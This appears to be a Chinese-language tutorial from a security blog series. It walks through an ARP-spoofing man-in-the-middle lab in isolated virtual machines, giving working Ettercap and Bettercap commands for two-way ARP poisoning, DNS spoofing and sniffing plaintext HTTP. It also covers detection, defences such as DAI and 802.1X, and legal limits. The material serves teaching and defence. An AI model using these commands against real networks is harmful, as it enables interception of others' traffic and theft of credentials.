ARP 欺骗全解析:Ettercap 中间人攻击实验

ARP 欺骗全解析:Ettercap 中间人攻击实验
文章目录一、为什么 ARP 欺骗是内网 MITM 的「入门必修课」二、ARP 协议速览安全视角2.1 工作流程2.2 ARP 缓存表2.3 无状态 漏洞根源三、ARP 欺骗原理3.1 单向欺骗 vs 双向欺骗3.2 双向欺骗示意图3.3 与交换机的关系四、实验环境准备4.1 拓扑专栏标准 Host-Only4.2 受害机配置4.3 攻击机准备4.4 打快照五、Ettercap 图形界面实验5.1 启动与选网卡5.2 设置目标5.3 开始 ARP 欺骗5.4 验证欺骗成功六、Ettercap 命令行实验推荐复现6.1 基础双向 ARP 欺骗6.2 配合 DNS 欺骗6.3 嗅探明文 HTTP七、Wireshark 分析 ARP 欺骗7.1 正常 ARP7.2 欺骗特征7.3 对比实验记录表八、Bettercap 现代替代简览九、检测 ARP 欺骗9.1 主机侧9.2 网络侧9.3 Wireshark / IDS 规则思路9.4 蓝队狩猎问题十、防御措施汇总十一、ARP 欺骗与其他攻击链十二、完整实验步骤清单90 分钟十三、常见踩坑十四、法律与伦理十五、本篇小结附录 AEttercap 命令速查附录 BARP 报文字段Wireshark附录 C与专栏前篇关联一、为什么 ARP 欺骗是内网 MITM 的「入门必修课」局域网通信看似「IP 对 IP」实际先要「IP → MAC」我要访问 192.168.56.30 → 先查这个 IP 的 MAC 是多少 → 再问以太网帧发给谁这个映射由ARPAddress Resolution Protocol完成。ARP 设计于可信局域网时代——没有认证谁都可以回答「192.168.56.1 的 MAC 是我」攻击者利用这一点就能成为中间人MITM后果说明流量嗅探明文 HTTP、FTP、Telnet 可被截获DNS 欺骗配合 dns.spoof 劫持解析会话劫持篡改未加密流量SSL 剥离配合 sslstrip 降级 HTTPS靶场演示上一篇 DNS 缓存投毒 在内网常需先 ARP 欺骗才能把 DNS 响应送到攻击者手里。本文把 ARP Ettercap一次讲透。二、ARP 协议速览安全视角2.1 工作流程主机 A192.168.56.10想知道 192.168.56.30 的 MAC A 广播「Who has 192.168.56.30? Tell 192.168.56.10」 ARP Request ↓ 二层广播 ff:ff:ff:ff:ff:ff 全网收到 30 单播「192.168.56.30 is at aa:bb:cc:dd:ee:ff」 ARP Reply ↓ A 写入 ARP 缓存表2.2 ARP 缓存表# Linuxipneigh show arp-n# Windowsarp-a字段含义IP目标地址MAC硬件地址STATEREACHABLE / STALE 等过期动态条目会超时更新静态绑定防御手段之一sudoipneigh replace192.168.56.1 lladdr 08:00:27:xx:xx:xx dev eth0 nud permanent2.3 无状态 漏洞根源· Request 可广播Reply 可被任意主机代答 · 收到 Reply 后通常直接更新缓存不验证「是否我问过」 · 支持 Gratuitous ARP无故公告「我是 192.168.56.1MAC 变了」Gratuitous ARP本用于 IP 漂移通知攻击者用来强行刷新全网缓存。三、ARP 欺骗原理3.1 单向欺骗 vs 双向欺骗模式做法效果单向只骗受害者「网关 MAC 是我」出站流量经攻击者回程可能不经过双向完整 MITM骗受害者 骗网关双向流量都经攻击者Ettercap 默认双向 ARP 欺骗形成完整中间人。3.2 双向欺骗示意图正常 受害机 10 ──────────────► 网关 1 ──────► 外网 直接二层转发 ARP 欺骗后 受害机 10 ──► 攻击者 Kali ──► 网关 1 ──► 外网 ▲ │ └────┘ 回程同样经 Kali 转发攻击者需开启IP 转发否则流量到 Kali 后断掉# Linux 开启转发sudosysctl-wnet.ipv4.ip_forward1# 持久化echonet.ipv4.ip_forward1|sudotee-a/etc/sysctl.conf3.3 与交换机的关系现代交换机按MAC 地址表转发。ARP 欺骗后· 受害机以为网关 MAC 攻击者 MAC → 发给攻击者网卡 · 网关以为受害机 MAC 攻击者 MAC → 回程也发给攻击者 · 攻击者再替真实 MAC 转发 → 交换机被「逻辑劫持」注意这不同于 MAC 泛洪物理填满 CAM 表ARP 欺骗更安静、更常见。四、实验环境准备4.1 拓扑专栏标准 Host-Only网关/靶机 Ubuntu 192.168.56.1 或路由器 VM Kali 攻击机 192.168.56.10 受害机 Ubuntu 192.168.56.30 网段 192.168.56.0/24最小两机方案Kali 10 欺骗 30把 30 的默认网关设为 10 的「假网关」角色——或三台 VM 更清晰。4.2 受害机配置# 192.168.56.30ipaddradd192.168.56.30/24 dev eth0iprouteadddefault via192.168.56.1# 启动 nginx 便于观察sudoaptinstall-ynginxcurlhttp://192.168.56.30# 自测4.3 攻击机准备# Kali 自带 ettercapettercap-vsudosysctl-wnet.ipv4.ip_forward14.4 打快照victim-clean / gateway-clean / kali-clean五、Ettercap 图形界面实验5.1 启动与选网卡sudoettercap-GSniff → Unified sniffing → 选 Host-Only 网卡如 eth1 / enp0s8 Hosts → Scan for hosts或按 h 扫描 Hosts → Hosts list应看到192.168.56.1、192.168.56.30等。5.2 设置目标选中 192.168.56.30 → Add to Target 1受害机 选中 192.168.56.1 → Add to Target 2网关Target 1 受害方Target 2 第二方双向欺骗时两个都要。5.3 开始 ARP 欺骗Mitm → Arp poisoning ☑ Sniff remote connections ☑ Only poison one-way 不勾 双向推荐不勾 → Start5.4 验证欺骗成功在受害机 30 上arp-n|grep192.168.56.1# 网关 MAC 应变为 Kali 网卡 MAC而非真实网关ipneigh show192.168.56.1在 Kali 上抓包sudotcpdump-ieth1host192.168.56.30-wmitm.pcap受害机访问外网或curl http://某站Kali 应能看到其流量。六、Ettercap 命令行实验推荐复现6.1 基础双向 ARP 欺骗# -T 文本界面 -q 安静 -M arp ARP模式 /网关IP/受害IP/sudoettercap-T-q-ieth1-Marp:remote /192.168.56.1// /192.168.56.30//参数含义-i eth1监听接口-M arp:remote远程连接也嗅探/IP1// /IP2//欺骗两端6.2 配合 DNS 欺骗编辑/etc/ettercap/etter.dnswww.test.local A 192.168.56.10 *.test.local A 192.168.56.10启动sudoettercap-T-q-ieth1-Pdns_spoof-Marp:remote /192.168.56.1// /192.168.56.30//受害机pingwww.test.local# 应解析并指向 10curlhttp://www.test.local6.3 嗅探明文 HTTP受害机访问HTTP非 HTTPS站点Ettercap 可插件记录。或配合sudoettercap-T-ieth1-Marp:remote /192.168.56.1// /192.168.56.30//# 另开终端sudowireshark-ieth1-fhost 192.168.56.30过滤器ip.addr 192.168.56.30 http右键 →Follow HTTP Stream查看明文。七、Wireshark 分析 ARP 欺骗7.1 正常 ARParpRequestWho has x.x.x.x?Replyx.x.x.x is at MAC来自真实主机7.2 欺骗特征特征说明大量 Gratuitous ARPOpcode 为 reply但 Who has 与 Tell 为同一 IPMAC 冲突同一 IP 对应不同 MAC时间先后高频 ARP ReplyEttercap 持续刷新缓存过滤器arp arp.opcode 2 # 仅 Reply7.3 对比实验记录表时间IP声称 MAC真实归属T056.1 网关08:00:27:aa网关T156.1 网关08:00:27:bbKali← 欺骗后八、Bettercap 现代替代简览Ettercap 经典但略老Bettercap更活跃sudobettercap-ifaceeth1# 交互命令net.probe on net.showsetarp.spoof.targets192.168.56.30setarp.spoof.fullduplextruearp.spoof onsetnet.sniff.localtruenet.sniff on对比EttercapBettercap界面GTK / TUI交互式 REPL Web UI模块插件caplets 脚本学习资料极多增长中专栏建议Ettercap 懂原理Bettercap 做日常靶场。九、检测 ARP 欺骗9.1 主机侧# 网关 MAC 是否变化ipneigh show192.168.56.1# 安装 arpwatch监控 ARP 变化发邮件/日志sudoaptinstallarpwatch脚本思路定期对比网关 MAC 与基线文件。9.2 网络侧手段说明DAI动态 ARP 检测企业交换机按 DHCP 表校验 ARP静态 ARP关键服务器绑定 IP-MAC802.1X端口认证非授权设备难介入NDP 监控IPv6 对应问题用 RA Guard9.3 Wireshark / IDS 规则思路告警同一 IP 在 60 秒内出现 2 个以上不同 MAC 的 ARP Reply 告警Gratuitous ARP 频率 10/分钟内网主机Zeekarp.log记录 MAC-IP 绑定变化。9.4 蓝队狩猎问题· 内网哪台主机在发大量 ARP Reply · 网关 MAC 是否在多台终端上显示不同值 · 新接入设备是否立即成为某 IP 的「新 MAC」十、防御措施汇总层级措施适用终端静态 ARP 绑定网关服务器、工控交换机DAI DHCP Snooping企业接入层协议全站 HTTPS、HSTS防嗅探明文架构网络分段、802.1X减广播域监控arpwatch、Zeek、NDR发现异常无线WPA2-Enterprise防开放式 WiFi ARP现实话家庭/小实验室靠 HTTPS 最有效企业靠DAI 802.1X 监控。十一、ARP 欺骗与其他攻击链ARP 欺骗二层 MITM ├─► 明文 HTTP 嗅探 ├─► DNS 欺骗etter.dns / bettercap dns ├─► SSL 剥离sslstripHTTPS 降级靶场 ├─► 注入 Cookie / 替换下载文件 └─► 为 NTLM 中继等内网攻击铺路Kill Chain 位置内网横向时的中间人前置常在「立足点」之后。十二、完整实验步骤清单90 分钟□ 1. 三台 VM Host-Only确认互 ping □ 2. 受害机记录网关真实 MACarp -n □ 3. Kali 开启 ip_forward1 □ 4. ettercap 双向 ARP 欺骗CLI 或 GUI □ 5. 受害机再次 arp -n确认网关 MAC 变为 Kali □ 6. Wireshark 在 Kali 抓 arp http 包 □ 7. 受害机 curl 明文 HTTPKali Follow Stream □ 8. 配置 etter.dns验证 DNS 欺骗 □ 9. 停止 ettercap受害机 ARP 是否恢复等超时或手动删 □ 10. 写实验报告原理 抓包截图 防御建议十三、常见踩坑问题原因解决欺骗后受害机断网未开 ip_forwardsysctl -w net.ipv4.ip_forward1选错网卡抓到 WiFi 而非 Host-Onlyip a确认 vboxnet0/eth1HTTPS 看不到内容加密正常只能看握手勿在生产搞 sslstripEttercap 目标设反Target1/2 含义两个都要加双向不勾 one-way桥接模式实验影响局域网改 Host-Onlyarp 缓存不更新静态条目ip neigh flush allmacOS 受害机ARP 行为差异仍可用注意防火墙十四、法律与伦理✅ 允许自有 VM、书面授权的内网渗透项目、CTF ❌ 禁止公司办公网、咖啡厅 WiFi、宿舍网「练手」 ❌ 禁止窃取他人账号、密码、个人信息中间人能力越大授权边界越要清晰。渗透报告须写明 ARP 欺骗范围与时长。十五、本篇小结┌─────────────────────────────────────────────────────────────┐ │ ARP 欺骗 核心记忆 │ ├─────────────────────────────────────────────────────────────┤ │ ARP 无认证 → 可伪造 Reply / Gratuitous ARP │ │ 双向欺骗 IP 转发 完整 MITM │ │ Ettercap-M arp:remote /网关// /受害// │ │ 验证受害机 arp -n 中网关 MAC 是否变攻击机 │ │ 检测同 IP 多 MAC、异常 Gratuitous ARP │ │ 防御DAI、静态绑定、HTTPS、802.1X、arpwatch │ └─────────────────────────────────────────────────────────────┘下一篇预告《HTTP/HTTPS 安全深度剖析抓包、解密与证书陷阱》——MITM 之后如何看加密流量。附录 AEttercap 命令速查# 扫描主机sudoettercap-T-ieth1 // //# 双向 ARP 欺骗sudoettercap-T-q-ieth1-Marp:remote /192.168.56.1// /192.168.56.30//# ARP DNS 欺骗sudoettercap-T-q-ieth1-Pdns_spoof-Marp:remote /192.168.56.1// /192.168.56.30//# 图形界面sudoettercap-G附录 BARP 报文字段Wireshark字段说明Opcode 1RequestOpcode 2ReplySender MAC / Sender IP谁在说Target MAC / Target IP问谁 / 告诉谁Gratuitous ARPSender IP Target IP用于公告「我在这」。附录 C与专栏前篇关联前篇关联DNS 安全dns.spoof 依赖 ARP MITM 在内网生效Wiresharkarp、http过滤器验证TCP/IPMITM 后仍可抓 SYN/HTTPKill Chain内网横向、凭据嗅探前置